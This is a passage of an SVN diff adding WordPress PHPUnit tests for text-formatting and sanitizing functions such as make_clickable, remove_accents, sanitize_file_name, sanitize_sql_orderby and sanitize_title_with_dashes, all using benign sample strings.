+			'In his famous speech “You and Your research” (here: <a href="http://www.cs.virginia.edu/~robins/YouAndYourResearch.html" rel="nofollow">http://www.cs.virginia.edu/~robins/YouAndYourResearch.html</a>) Richard Hamming wrote about people getting more done with their doors closed...',
+		);
+		foreach ($urls_before as $key => $url) {
+			$this->assertEquals($urls_expected[$key], make_clickable($url));
+		}
+	}
+
+	// #14993
+	function test_twitter_hash_bang() {
+		$urls_before = array(
+			'http://twitter.com/#!/wordpress/status/25907440233',
+			'This is a really good tweet http://twitter.com/#!/wordpress/status/25907440233 !',
+			'This is a really good tweet http://twitter.com/#!/wordpress/status/25907440233!',
+		);
+		$urls_expected = array(
+			'<a href="http://twitter.com/#!/wordpress/status/25907440233" rel="nofollow">http://twitter.com/#!/wordpress/status/25907440233</a>',
+			'This is a really good tweet <a href="http://twitter.com/#!/wordpress/status/25907440233" rel="nofollow">http://twitter.com/#!/wordpress/status/25907440233</a> !',
+			'This is a really good tweet <a href="http://twitter.com/#!/wordpress/status/25907440233" rel="nofollow">http://twitter.com/#!/wordpress/status/25907440233</a>!',
+		);
+		foreach ($urls_before as $key => $url) {
+			$this->assertEquals($urls_expected[$key], make_clickable($url));
+		}
+	}
+
+	function test_wrapped_in_angles() {
+		$before = array(
+			'URL wrapped in angle brackets <http://example.com/>',
+			'URL wrapped in angle brackets with padding < http://example.com/ >',
+			'mailto wrapped in angle brackets <foo@example.com>',
+		);
+		$expected = array(
+			'URL wrapped in angle brackets <<a href="http://example.com/" rel="nofollow">http://example.com/</a>>',
+			'URL wrapped in angle brackets with padding < <a href="http://example.com/" rel="nofollow">http://example.com/</a> >',
+			'mailto wrapped in angle brackets <foo@example.com>',
+		);
+		foreach ($before as $key => $url) {
+			$this->assertEquals($expected[$key], make_clickable($url));
+		}
+	}
+
+	function test_preceded_by_punctuation() {
+		$before = array(
+			'Comma then URL,http://example.com/',
+			'Period then URL.http://example.com/',
+			'Semi-colon then URL;http://example.com/',
+			'Colon then URL:http://example.com/',
+			'Exclamation mark then URL!http://example.com/',
+			'Question mark then URL?http://example.com/',
+		);
+		$expected = array(
+			'Comma then URL,<a href="http://example.com/" rel="nofollow">http://example.com/</a>',
+			'Period then URL.<a href="http://example.com/" rel="nofollow">http://example.com/</a>',
+			'Semi-colon then URL;<a href="http://example.com/" rel="nofollow">http://example.com/</a>',
+			'Colon then URL:<a href="http://example.com/" rel="nofollow">http://example.com/</a>',
+			'Exclamation mark then URL!<a href="http://example.com/" rel="nofollow">http://example.com/</a>',
+			'Question mark then URL?<a href="http://example.com/" rel="nofollow">http://example.com/</a>',
+		);
+		foreach ($before as $key => $url) {
+			$this->assertEquals($expected[$key], make_clickable($url));
+		}
+	}
+
+	function test_dont_break_attributes() {
+		$urls_before = array(
+			"<img src='http://trunk.domain/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley'>",
+			"(<img src='http://trunk.domain/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley'>)",
+			"http://trunk.domain/testing#something (<img src='http://trunk.domain/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley'>)",
+			"http://trunk.domain/testing#something
+			(<img src='http://trunk.domain/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley'>)",
+			"<span style='text-align:center; display: block;'><object width='425' height='350'><param name='movie' value='http://www.youtube.com/v/nd_BdvG43rE&rel=1&fs=1&showsearch=0&showinfo=1&iv_load_policy=1' /> <param name='allowfullscreen' value='true' /> <param name='wmode' value='opaque' /> <embed src='http://www.youtube.com/v/nd_BdvG43rE&rel=1&fs=1&showsearch=0&showinfo=1&iv_load_policy=1' type='application/x-shockwave-flash' allowfullscreen='true' width='425' height='350' wmode='opaque'></embed> </object></span>",
+			'<a href="http://example.com/example.gif" title="Image from http://example.com">Look at this image!</a>',
+		);
+		$urls_expected = array(
+			"<img src='http://trunk.domain/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley'>",
+			"(<img src='http://trunk.domain/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley'>)",
+			"<a href=\"http://trunk.domain/testing#something\" rel=\"nofollow\">http://trunk.domain/testing#something</a> (<img src='http://trunk.domain/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley'>)",
+			"<a href=\"http://trunk.domain/testing#something\" rel=\"nofollow\">http://trunk.domain/testing#something</a>
+			(<img src='http://trunk.domain/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley'>)",
+			"<span style='text-align:center; display: block;'><object width='425' height='350'><param name='movie' value='http://www.youtube.com/v/nd_BdvG43rE&rel=1&fs=1&showsearch=0&showinfo=1&iv_load_policy=1' /> <param name='allowfullscreen' value='true' /> <param name='wmode' value='opaque' /> <embed src='http://www.youtube.com/v/nd_BdvG43rE&rel=1&fs=1&showsearch=0&showinfo=1&iv_load_policy=1' type='application/x-shockwave-flash' allowfullscreen='true' width='425' height='350' wmode='opaque'></embed> </object></span>",
+			'<a href="http://example.com/example.gif" title="Image from http://example.com">Look at this image!</a>',
+		);
+		foreach ($urls_before as $key => $url) {
+			$this->assertEquals($urls_expected[$key], make_clickable($url));
+		}
+	}
+
+	/**
+	 * @ticket 23756
+	 */
+	function test_no_links_inside_pre_or_code() {
+		$before = array(
+			'<pre>http://wordpress.org</pre>',
+			'<code>http://wordpress.org</code>',
+			'<pre class="foobar" id="foo">http://wordpress.org</pre>',
+			'<code class="foobar" id="foo">http://wordpress.org</code>',
+			'<precustomtag>http://wordpress.org</precustomtag>',
+			'<codecustomtag>http://wordpress.org</codecustomtag>',
+			'URL before pre http://wordpress.org<pre>http://wordpress.org</pre>',
+			'URL before code http://wordpress.org<code>http://wordpress.org</code>',
+			'URL after pre <PRE>http://wordpress.org</PRE>http://wordpress.org',
+			'URL after code <code>http://wordpress.org</code>http://wordpress.org',
+			'URL before and after pre http://wordpress.org<pre>http://wordpress.org</pre>http://wordpress.org',
+			'URL before and after code http://wordpress.org<code>http://wordpress.org</code>http://wordpress.org',
+			'code inside pre <pre>http://wordpress.org <code>http://wordpress.org</code> http://wordpress.org</pre>',
+		);
+
+		$expected = array(
+			'<pre>http://wordpress.org</pre>',
+			'<code>http://wordpress.org</code>',
+			'<pre class="foobar" id="foo">http://wordpress.org</pre>',
+			'<code class="foobar" id="foo">http://wordpress.org</code>',
+			'<precustomtag><a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a></precustomtag>',
+			'<codecustomtag><a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a></codecustomtag>',
+			'URL before pre <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a><pre>http://wordpress.org</pre>',
+			'URL before code <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a><code>http://wordpress.org</code>',
+			'URL after pre <PRE>http://wordpress.org</PRE><a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>',
+			'URL after code <code>http://wordpress.org</code><a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>',
+			'URL before and after pre <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a><pre>http://wordpress.org</pre><a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>',
+			'URL before and after code <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a><code>http://wordpress.org</code><a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>',
+			'code inside pre <pre>http://wordpress.org <code>http://wordpress.org</code> http://wordpress.org</pre>',
+		);
+
+		foreach ( $before as $key => $url )
+			$this->assertEquals( $expected[ $key ], make_clickable( $url ) );
+	}
+
+	/**
+	 * @ticket 16892
+	 */
+	function test_click_inside_html() {
+		$urls_before = array(
+			'<span>http://example.com</span>',
+			'<p>http://example.com/</p>',
+		);
+		$urls_expected = array(
+			'<span><a href="http://example.com" rel="nofollow">http://example.com</a></span>',
+			'<p><a href="http://example.com/" rel="nofollow">http://example.com/</a></p>',
+		);
+		foreach ($urls_before as $key => $url) {
+			$this->assertEquals( $urls_expected[$key], make_clickable( $url ) );
+		}
+	}
+
+	function test_no_links_within_links() {
+		$in = array(
+			'Some text with a link <a href="http://example.com">http://example.com</a>',
+			//'<a href="http://wordpress.org">This is already a link www.wordpress.org</a>', // fails in 3.3.1 too
+		);
+		foreach ( $in as $text ) {
+			$this->assertEquals( $text, make_clickable( $text ) );
+		}
+	}
+
+	/**
+	 * @ticket 16892
+	 */
+	function test_no_segfault() {
+		$in = str_repeat( 'http://example.com/2011/03/18/post-title/', 256 );
+		$out = make_clickable( $in );
+		$this->assertEquals( $in, $out );
+	}
+
+	/**
+	 * @ticket 19028
+	 */
+	function test_line_break_in_existing_clickable_link() {
+		$html = "<a
+				  href='mailto:someone@example.com'>someone@example.com</a>";
+		$this->assertEquals( $html, make_clickable( $html ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/MapDeep.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/MapDeep.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/MapDeep.php	(revision 33402)
@@ -0,0 +1,63 @@
+<?php
+/**
+ * @group formatting
+ * @ticket 22300
+ */
+class Tests_Formatting_MapDeep extends WP_UnitTestCase {
+	function setUp() {
+		if ( ! function_exists( 'map_deep' ) ) {
+			$this->markTestSkipped( "map_deep function doesn't exist" );
+		}
+
+		parent::setUp();
+	}
+
+	function test_map_deep_with_any_function_over_empty_array_should_return_empty_array() {
+		$this->assertEquals( array(), map_deep( array( $this, 'return_baba' ), array() ) );
+	}
+
+	function test_map_deep_should_map_each_element_of_array_one_level_deep() {
+		$this->assertEquals( array( 'ababa', 'xbaba' ), map_deep( array( $this, 'append_baba' ), array( 'a', 'x' ) ) );
+	}
+
+	function test_map_deep_should_map_each_element_of_array_two_levels_deep() {
+		$this->assertEquals( array( 'ababa', array( 'xbaba' ) ), map_deep( array( $this, 'append_baba' ), array( 'a', array( 'x' ) ) ) );
+	}
+
+	function test_map_deep_should_map_each_object_element_of_an_array() {
+		$this->assertEquals( array( 'var0' => 'ababa', 'var1' => (object)array( 'xbaba' ) ),
+			map_deep( array( $this, 'append_baba' ), array( 'var0' => 'a', 'var1' => (object)array( 'x' ) ) ) );
+	}
+
+	function test_map_deep_should_apply_the_function_to_a_string() {
+		$this->assertEquals( 'xbaba', map_deep( array( $this, 'append_baba' ), 'x' ) );
+	}
+
+	function test_map_deep_should_apply_the_function_to_an_integer() {
+		$this->assertEquals( '5baba' , map_deep( array( $this, 'append_baba' ), 5 ) );
+	}
+
+	function test_map_deep_should_map_each_property_of_an_object() {
+		$this->assertEquals( (object)array( 'var0' => 'ababa', 'var1' => 'xbaba' ),
+			map_deep( array( $this, 'append_baba' ), (object)array( 'var0' => 'a', 'var1' => 'x' ) ) );
+	}
+
+	function test_map_deep_should_map_each_array_property_of_an_object() {
+		$this->assertEquals( (object)array( 'var0' => 'ababa', 'var1' => array( 'xbaba' ) ),
+			map_deep( array( $this, 'append_baba' ), (object)array( 'var0' => 'a', 'var1' => array( 'x' ) ) ) );
+	}
+
+	function test_map_deep_should_map_each_object_property_of_an_object() {
+		$this->assertEquals( (object)array( 'var0' => 'ababa', 'var1' => (object)array( 'xbaba' ) ),
+			map_deep( array( $this, 'append_baba' ), (object)array( 'var0' => 'a', 'var1' => (object)array( 'x' ) ) ) );
+	}
+
+	function return_baba( $value ) {
+		return 'baba';
+	}
+
+	function append_baba( $value ) {
+		return $value . 'baba';
+	}
+}
+
Index: /tags/4.1.6/tests/phpunit/tests/formatting/NormalizeWhitespace.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/NormalizeWhitespace.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/NormalizeWhitespace.php	(revision 33402)
@@ -0,0 +1,52 @@
+<?php
+/**
+ * @group formatting
+ */
+class Tests_Formatting_NormalizeWhitespace extends WP_UnitTestCase {
+	/**
+	 * WhitespaceTest Content DataProvider
+	 *
+	 * array( input_txt, converted_output_txt)
+	 */
+	public function get_input_output() {
+		return array (
+			array (
+				"		",
+				""
+			),
+			array (
+				"\rTEST\r",
+				"TEST"
+			),
+			array (
+				"\r\nMY TEST CONTENT\r\n",
+				"MY TEST CONTENT"
+			),
+			array (
+				"MY\r\nTEST\r\nCONTENT ",
+				"MY\nTEST\nCONTENT"
+			),
+			array (
+				"\tMY\rTEST\rCONTENT ",
+				"MY\nTEST\nCONTENT"
+			),
+			array (
+				"\tMY\t\t\tTEST\r\t\t\rCONTENT ",
+				"MY TEST\n \nCONTENT"
+			),
+			array (
+				"\tMY TEST \t\t\t CONTENT ",
+				"MY TEST CONTENT"
+			),
+		);
+	}
+
+	/**
+	 * Validate the normalize_whitespace function
+	 *
+	 * @dataProvider get_input_output
+	 */
+	function test_normalize_whitespace( $in_str, $exp_str ) {
+		$this->assertEquals($exp_str, normalize_whitespace( $in_str ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/RemoveAccents.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/RemoveAccents.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/RemoveAccents.php	(revision 33402)
@@ -0,0 +1,113 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_RemoveAccents extends WP_UnitTestCase {
+	public function test_remove_accents_simple() {
+		$this->assertEquals( 'abcdefghijkl', remove_accents( 'abcdefghijkl' ) );
+	}
+
+	/**
+	 * @ticket 9591
+	 */
+	public function test_remove_accents_latin1_supplement() {
+		$input = 'ªºÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýþÿ';
+		$output = 'aoAAAAAAAECEEEEIIIIDNOOOOOOUUUUYTHsaaaaaaaeceeeeiiiidnoooooouuuuythy';
+
+		$this->assertEquals( $output, remove_accents( $input ), 'remove_accents replaces Latin-1 Supplement' );
+	}
+
+	public function test_remove_accents_latin_extended_a() {
+		$input = 'ĀāĂăĄąĆćĈĉĊċČčĎďĐđĒēĔĕĖėĘęĚěĜĝĞğĠġĢģĤĥĦħĨĩĪīĬĭĮįİıĲĳĴĵĶķĸĹĺĻļĽľĿŀŁłŃńŅņŇňŉŊŋŌōŎŏŐőŒœŔŕŖŗŘřŚśŜŝŞşŠšŢţŤťŦŧŨũŪūŬŭŮůŰűŲųŴŵŶŷŸŹźŻżŽžſ';
+		$output = 'AaAaAaCcCcCcCcDdDdEeEeEeEeEeGgGgGgGgHhHhIiIiIiIiIiIJijJjKkkLlLlLlLlLlNnNnNnNnNOoOoOoOEoeRrRrRrSsSsSsSsTtTtTtUuUuUuUuUuUuWwYyYZzZzZzs';
+
+		$this->assertEquals( $output, remove_accents( $input ), 'remove_accents replaces Latin Extended A' );
+	}
+
+	public function test_remove_accents_latin_extended_b() {
+		$this->assertEquals( 'SsTt', remove_accents( 'ȘșȚț' ), 'remove_accents replaces Latin Extended B' );
+	}
+
+	public function test_remove_accents_euro_pound_signs() {
+		$this->assertEquals( 'E', remove_accents( '€' ), 'remove_accents replaces euro sign' );
+		$this->assertEquals( '', remove_accents( '£' ), 'remove_accents replaces pound sign' );
+	}
+
+	public function test_remove_accents_iso8859() {
+		// File is Latin1 encoded
+		$file = DIR_TESTDATA . '/formatting/remove_accents.01.input.txt';
+		$input = file_get_contents( $file );
+		$input = trim( $input );
+		$output = "EfSZszYcYuAAAAAACEEEEIIIINOOOOOOUUUUYaaaaaaceeeeiiiinoooooouuuuyyOEoeAEDHTHssaedhth";
+
+		$this->assertEquals( $output, remove_accents( $input ), 'remove_accents from ISO-8859-1 text' );
+	}
+
+	/**
+	 * @ticket 17738
+	 */
+	public function test_remove_accents_vowels_diacritic() {
+		// Vowels with diacritic
+		// unmarked
+		$this->assertEquals( 'OoUu', remove_accents( 'ƠơƯư' ) );
+		// grave accent
+		$this->assertEquals( 'AaAaEeOoOoUuYy', remove_accents( 'ẦầẰằỀềỒồỜờỪừỲỳ' ) );
+		// hook
+		$this->assertEquals( 'AaAaAaEeEeIiOoOoOoUuUuYy', remove_accents( 'ẢảẨẩẲẳẺẻỂểỈỉỎỏỔổỞởỦủỬửỶỷ' ) );
+		// tilde
+		$this->assertEquals( 'AaAaEeEeOoOoUuYy', remove_accents( 'ẪẫẴẵẼẽỄễỖỗỠỡỮữỸỹ' ) );
+		// acute accent
+		$this->assertEquals( 'AaAaEeOoOoUu', remove_accents( 'ẤấẮắẾếỐốỚớỨứ' ) );
+		// dot below
+		$this->assertEquals( 'AaAaAaEeEeIiOoOoOoUuUuYy', remove_accents( 'ẠạẬậẶặẸẹỆệỊịỌọỘộỢợỤụỰựỴỵ' ) );
+	}
+
+	/**
+	 * @ticket 20772
+	 */
+	public function test_remove_accents_hanyu_pinyin() {
+		// Vowels with diacritic (Chinese, Hanyu Pinyin)
+		// macron
+		$this->assertEquals( 'aeiouuAEIOUU', remove_accents( 'āēīōūǖĀĒĪŌŪǕ' ) );
+		// acute accent
+		$this->assertEquals( 'aeiouuAEIOUU', remove_accents( 'áéíóúǘÁÉÍÓÚǗ' ) );
+		// caron
+		$this->assertEquals( 'aeiouuAEIOUU', remove_accents( 'ǎěǐǒǔǚǍĚǏǑǓǙ' ) );
+		// grave accent
+		$this->assertEquals( 'aeiouuAEIOUU', remove_accents( 'àèìòùǜÀÈÌÒÙǛ' ) );
+		// unmarked
+		$this->assertEquals( 'aaeiouuAEIOUU', remove_accents( 'aɑeiouüAEIOUÜ' ) );
+	}
+
+	function _remove_accents_germanic_umlauts_cb() {
+		return 'de_DE';
+	}
+
+	/**
+	 * @ticket 3782
+	 */
+	public function test_remove_accents_germanic_umlauts() {
+		add_filter( 'locale', array( $this, '_remove_accents_germanic_umlauts_cb' ) );
+
+		$this->assertEquals( 'AeOeUeaeoeuess', remove_accents( 'ÄÖÜäöüß' ) );
+
+		remove_filter( 'locale', array( $this, '_remove_accents_germanic_umlauts_cb' ) );
+	}
+
+	public function _set_locale_to_danish() {
+		return 'da_DK';
+	}
+
+	/**
+	 * @ticket 23907
+	 */
+	public function test_remove_danish_accents() {
+		add_filter( 'locale', array( $this, '_set_locale_to_danish' ) );
+		
+		$this->assertEquals( 'AeOeAaaeoeaa', remove_accents( 'ÆØÅæøå' ) );
+		
+		remove_filter( 'locale', array( $this, '_set_locale_to_danish' ) );
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/SanitizeFileName.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/SanitizeFileName.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/SanitizeFileName.php	(revision 33402)
@@ -0,0 +1,52 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_SanitizeFileName extends WP_UnitTestCase {
+	function test_munges_extensions() {
+		# r17990
+		$file_name = sanitize_file_name( 'test.phtml.txt' );
+		$this->assertEquals( 'test.phtml_.txt', $file_name );
+	}
+
+	function test_removes_special_chars() {
+		$special_chars = array("?", "[", "]", "/", "\\", "=", "<", ">", ":", ";", ",", "'", "\"", "&", "$", "#", "*", "(", ")", "|", "~", "`", "!", "{", "}", chr(0));
+		$string = 'test';
+		foreach ( $special_chars as $char )
+			$string .= $char;
+		$string .= 'test';
+		$this->assertEquals( 'testtest', sanitize_file_name( $string ) );
+	}
+
+	/**
+	 * Test that spaces are correctly replaced with dashes.
+	 *
+	 * @ticket 16330
+	 */
+	function test_replace_spaces() {
+		$urls = array(
+			'unencoded space.png'   => 'unencoded-space.png',
+			'encoded%20space.jpg'   => 'encoded-space.jpg',
+			'plus+space.jpg'        => 'plus-space.jpg',
+			'multi %20 +space.png'   => 'multi-space.png',
+		);
+
+		foreach( $urls as $test => $expected ) {
+			$this->assertEquals( $expected, sanitize_file_name( $test ) );
+		}
+	}
+
+	function test_replaces_any_number_of_hyphens_with_one_hyphen() {
+		$this->assertEquals("a-t-t", sanitize_file_name("a----t----t"));
+	}
+
+	function test_trims_trailing_hyphens() {
+		$this->assertEquals("a-t-t", sanitize_file_name("a----t----t----"));
+	}
+
+	function test_replaces_any_amount_of_whitespace_with_one_hyphen() {
+		$this->assertEquals("a-t", sanitize_file_name("a          t"));
+		$this->assertEquals("a-t", sanitize_file_name("a    \n\n\nt"));
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/SanitizeMimeType.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/SanitizeMimeType.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/SanitizeMimeType.php	(revision 33402)
@@ -0,0 +1,38 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_SanitizeMimeType extends WP_UnitTestCase {
+	// 17855
+	function test_sanitize_valid_mime_type() {
+		$inputs = array(
+			'application/atom+xml',
+			'application/EDI-X12',
+			'application/EDIFACT',
+			'application/json',
+			'application/javascript',
+			'application/octet-stream',
+			'application/ogg',
+			'application/pdf',
+			'application/postscript',
+			'application/soap+xml',
+			'application/x-woff',
+			'application/xhtml+xml',
+			'application/xml-dtd',
+			'application/xop+xml',
+			'application/zip',
+			'application/x-gzip',
+			'audio/basic',
+			'image/jpeg',
+			'text/css',
+			'text/html',
+			'text/plain',
+			'video/mpeg',
+		);
+
+		foreach ( $inputs as $input ) {
+			$this->assertEquals($input, sanitize_mime_type($input));
+		}
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/SanitizeOrderby.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/SanitizeOrderby.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/SanitizeOrderby.php	(revision 33402)
@@ -0,0 +1,57 @@
+<?php
+
+/**
+ * @group sanitize_sql_orderby
+ */
+class Tests_Formatting_SanitizeOrderby extends WP_UnitTestCase {
+
+	/**
+	 * @covers ::sanitize_sql_orderby
+	 * @dataProvider valid_orderbys
+	 */
+	function test_valid( $orderby ) {
+		$this->assertEquals( $orderby, sanitize_sql_orderby( $orderby ) );
+	}
+	function valid_orderbys() {
+		return array(
+			array( '1' ),
+			array( '1 ASC' ),
+			array( '1 ASC, 2' ),
+			array( '1 ASC, 2 DESC' ),
+			array( '1 ASC, 2 DESC, 3' ),
+			array( '       1      DESC' ),
+			array( 'field ASC' ),
+			array( 'field1 ASC, field2' ),
+			array( 'field_1 ASC, field_2 DESC' ),
+			array( 'field1, field2 ASC' ),
+			array( '`field1`' ),
+			array( '`field1` ASC' ),
+			array( '`field` ASC, `field2`' ),
+			array( 'RAND()' ),
+			array( '   RAND(  )   ' ),
+		);
+	}
+
+	/**
+	 * @covers ::sanitize_sql_orderby
+	 * @dataProvider invalid_orderbys
+	 */
+	function test_invalid( $orderby ) {
+		$this->assertFalse( sanitize_sql_orderby( $orderby ) );
+	}
+	function invalid_orderbys() {
+		return array(
+			array( '' ),
+			array( '1 2' ),
+			array( '1, 2 3' ),
+			array( '1 DESC, ' ),
+			array( 'field-1' ),
+			array( 'field DESC,' ),
+			array( 'field1 field2' ),
+			array( 'field RAND()' ),
+			array( 'RAND() ASC' ),
+			array( '`field1` ASC, `field2' ),
+			array( 'field, !@#$%^' ),
+		);
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/SanitizePost.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/SanitizePost.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/SanitizePost.php	(revision 33402)
@@ -0,0 +1,25 @@
+<?php
+/**
+ * @group formatting
+ * @group post
+ */
+class Tests_Formatting_SanitizePost extends WP_UnitTestCase {
+
+	/**
+	 * @ticket 22324
+	 */
+	function test_int_fields() {
+		$post = $this->factory->post->create_and_get();
+		$int_fields = array(
+			'ID'            => 'integer',
+			'post_parent'   => 'integer',
+			'menu_order'    => 'integer',
+			'post_author'   => 'string',
+			'comment_count' => 'string',
+		);
+
+		foreach ( $int_fields as $field => $type ) {
+			$this->assertInternalType( $type, $post->$field, "field $field" );
+		}
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/SanitizeTextField.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/SanitizeTextField.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/SanitizeTextField.php	(revision 33402)
@@ -0,0 +1,47 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_SanitizeTextField extends WP_UnitTestCase {
+	// #11528
+	function test_sanitize_text_field() {
+		$inputs = array(
+			'оРангутанг', //Ensure UTF8 text is safe the Р is D0 A0 and A0 is the non-breaking space.
+			'САПР', //Ensure UTF8 text is safe the Р is D0 A0 and A0 is the non-breaking space.
+			'one is < two',
+			'tags <span>are</span> <em>not allowed</em> here',
+			' we should trim leading and trailing whitespace ',
+			'we  also  trim  extra  internal  whitespace',
+			'tabs 	get removed too',
+			'newlines are not welcome
+			here',
+			'We also %AB remove %ab octets',
+			'We don\'t need to wory about %A
+			B removing %a
+			b octets even when %a	B they are obscured by whitespace',
+			'%AB%BC%DE', //Just octets
+			'Invalid octects remain %II',
+			'Nested octects %%%ABABAB %A%A%ABBB',
+		);
+		$expected = array(
+			'оРангутанг',
+			'САПР',
+			'one is &lt; two',
+			'tags are not allowed here',
+			'we should trim leading and trailing whitespace',
+			'we also trim extra internal whitespace',
+			'tabs get removed too',
+			'newlines are not welcome here',
+			'We also remove octets',
+			'We don\'t need to wory about %A B removing %a b octets even when %a B they are obscured by whitespace',
+			'', //Emtpy as we strip all the octets out
+			'Invalid octects remain %II',
+			'Nested octects',
+		);
+
+		foreach ($inputs as $key => $input) {
+			$this->assertEquals($expected[$key], sanitize_text_field($input));
+		}
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/SanitizeTitle.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/SanitizeTitle.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/SanitizeTitle.php	(revision 33402)
@@ -0,0 +1,18 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_SanitizeTitle extends WP_UnitTestCase {
+	function test_strips_html() {
+		$input = "Captain <strong>Awesome</strong>";
+		$expected = "captain-awesome";
+		$this->assertEquals($expected, sanitize_title($input));
+	}
+
+	function test_titles_sanitized_to_nothing_are_replaced_with_optional_fallback() {
+		$input = "<strong></strong>";
+		$fallback = "Captain Awesome";
+		$this->assertEquals($fallback, sanitize_title($input, $fallback));
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/SanitizeTitleWithDashes.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/SanitizeTitleWithDashes.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/SanitizeTitleWithDashes.php	(revision 33402)
@@ -0,0 +1,117 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_SanitizeTitleWithDashes extends WP_UnitTestCase {
+	function test_strips_html() {
+		$input = "Captain <strong>Awesome</strong>";
+		$expected = "captain-awesome";
+		$this->assertEquals($expected, sanitize_title($input));
+	}
+
+	function test_strips_unencoded_percent_signs() {
+		$this->assertEquals("fran%c3%a7ois", sanitize_title_with_dashes("fran%c3%a7%ois"));
+	}
+
+	function test_makes_title_lowercase() {
+		$this->assertEquals("abc", sanitize_title_with_dashes("ABC"));
+	}
+
+	function test_replaces_any_amount_of_whitespace_with_one_hyphen() {
+		$this->assertEquals("a-t", sanitize_title_with_dashes("a          t"));
+		$this->assertEquals("a-t", sanitize_title_with_dashes("a    \n\n\nt"));
+	}
+
+	function test_replaces_any_number_of_hyphens_with_one_hyphen() {
+		$this->assertEquals("a-t-t", sanitize_title_with_dashes("a----t----t"));
+	}
+
+	function test_trims_trailing_hyphens() {
+		$this->assertEquals("a-t-t", sanitize_title_with_dashes("a----t----t----"));
+	}
+
+	function test_handles_non_entity_ampersands() {
+		$this->assertEquals("penn-teller-bull", sanitize_title_with_dashes("penn & teller bull"));
+	}
+
+	public function test_strips_nbsp_ndash_and_amp() {
+		$this->assertEquals("no-entities-here", sanitize_title_with_dashes("No &nbsp; Entities &ndash; Here &amp;"));
+	}
+
+	public function test_strips_encoded_ampersand() {
+		$this->assertEquals("one-two", sanitize_title_with_dashes("One &amp; Two", '', 'save'));
+	}
+
+	public function test_strips_url_encoded_ampersand() {
+		$this->assertEquals("one-two", sanitize_title_with_dashes("One &#123; Two;", '', 'save'));
+	}
+
+	public function test_strips_trademark_symbol() {
+		$this->assertEquals("one-two", sanitize_title_with_dashes("One Two™;", '', 'save'));
+	}
+
+	public function test_strips_unencoded_ampersand_followed_by_encoded_ampersand() {
+		$this->assertEquals("one-two", sanitize_title_with_dashes("One &&amp; Two;", '', 'save'));
+	}
+
+	public function test_strips_unencoded_ampersand_when_not_surrounded_by_spaces() {
+		$this->assertEquals("onetwo", sanitize_title_with_dashes("One&Two", '', 'save'));
+	}
+
+	function test_replaces_nbsp() {
+		$this->assertEquals("dont-break-the-space", sanitize_title_with_dashes("don't break the space", '', 'save'));
+	}
+
+	function test_replaces_ndash_mdash() {
+		$this->assertEquals("do-the-dash", sanitize_title_with_dashes("Do – the Dash", '', 'save'));
+		$this->assertEquals("do-the-dash", sanitize_title_with_dashes("Do the — Dash", '', 'save'));
+	}
+
+	function test_replaces_iexcel_iquest() {
+		$this->assertEquals("just-a-slug", sanitize_title_with_dashes("Just ¡a Slug", '', 'save'));
+		$this->assertEquals("just-a-slug", sanitize_title_with_dashes("Just a Slug¿", '', 'save'));
+	}
+
+	function test_replaces_angle_quotes() {
+		$this->assertEquals("just-a-slug", sanitize_title_with_dashes("‹Just a Slug›", '', 'save'));
